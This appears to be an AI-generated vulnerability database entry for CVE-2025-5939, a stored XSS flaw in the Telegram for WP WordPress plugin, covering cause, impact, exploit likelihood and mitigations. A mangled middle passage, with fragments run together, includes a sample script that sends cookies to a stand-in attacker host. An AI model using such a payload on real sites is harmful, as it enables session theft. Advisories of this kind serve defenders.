
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-5939 is a Stored Cross-Site Scripting (XSS) vulnerability in the Telegram for WP plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw stems from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. The vulnerability is limited in scope: it only affects WordPress multi-site installations or single-site installations where unfiltered_html has been disabled. It was published on June 13, 2025, with Wordfence credited as the assigner, and carries a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize administrator-supplied input stored in plugin settings and does not escape this data on output, allowing malicious JavaScript to be persisted in the database and rendered in the browser of any user who visits an affected page. Exploitation requires an authenticated session with administrator-level privileges, and the attack surface is further constrained to environments where WordPress's unfiltered_html capability is disabled (common in multi-site networks). No public proof-of-concept code has been identified at this time (Wordfence).
Successful exploitation allows a malicious administrator to persistently inject JavaScript that executes in the browsers of other users visiting the affected pages, impacting both confidentiality (e.g., session token theft) and integrity (e.g., page content manipulation). Because the scope is changed (S:C in CVSS), the injected script can affect users beyond the attacker's own session context. Availability is not directly impacted, and the overall risk is moderated by the high privilege requirement and the constrained deployment conditions (multi-site or unfiltered_html-disabled environments) (Wordfence, Red Hat CVE).
No evidence of in-the-wild exploitation or weaponized exploit kits has been reported for CVE-2025-5939. The EPSS score is approximately 0.022% (0.000220), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The high privilege requirement (administrator-level authentication) and the restricted deployment conditions significantly limit the practical attack surface (Wordfence).
unfiltered_html disabled that has the Telegram for WP plugin (≤1.6.1) installed.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable admin settings field that lacks proper sanitization.<script> tags or JavaScript event handlers (e.g., onerror, onload) in the wp_options table entries associated with the Telegram for WP plugin.Users should update the Telegram for WP plugin to a version beyond 1.6.1 as soon as a patched release is made available by the plugin author (amir-mousavi). In the interim, administrators can mitigate risk by auditing and restricting which accounts hold administrator-level privileges on affected WordPress installations, and by reviewing current plugin settings for unexpected script content. Enabling unfiltered_html is not recommended as a workaround, as it introduces other risks; instead, consider temporarily deactivating the plugin on sensitive multi-site networks until a patch is confirmed (Wordfence, WordPress Plugin Page).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."